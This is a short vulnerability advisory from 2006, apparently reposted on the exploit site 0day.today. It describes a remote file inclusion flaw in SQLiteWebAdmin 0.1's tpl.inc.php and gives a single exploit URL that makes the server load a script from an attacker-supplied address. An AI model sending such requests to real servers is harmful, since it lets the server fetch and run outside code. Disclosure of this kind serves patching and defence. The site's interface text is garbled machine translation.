[ 承認 ] [ 登録 ] [ アカウントの復元 ]
お問い合わせ
次の方法でご連絡することができます:
0day.today  Inj3ct0rエクスプロイト市場とエクスプロイトの危険は,データベースを利用します

SQLiteWebAdmin 0.1 (tpl.inc.php) Remote Include Vulnerability

著者
SirDarckCat
リスク
[
セキュリティリスクは,被保険者
]
0day-ID
0day-ID-645
カテゴリ
web applications
日付の追加
06-08-2006
プラットフォーム
unsorted
=============================================================
SQLiteWebAdmin 0.1 (tpl.inc.php) Remote Include Vulnerability
=============================================================



SQLiteWebAdmin
http://sourceforge.net/projects/sqlitewebadmin

SQLiteWebAdmin is a simple PHP program for administrating
a SQL DataBase.

It suffers of a Remote File Inclusion Vulnerability.

The bug is in the "tpl.inc.php" program in the "lib"
directory, and is exploited when passing the parameter
"conf[classpath]".

http://www.server.com/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT]

Succesfull explotation, needs register_globals=on

Att.
SirDarckCat
elhacker.net




#  0day.today [2024-06-28]  #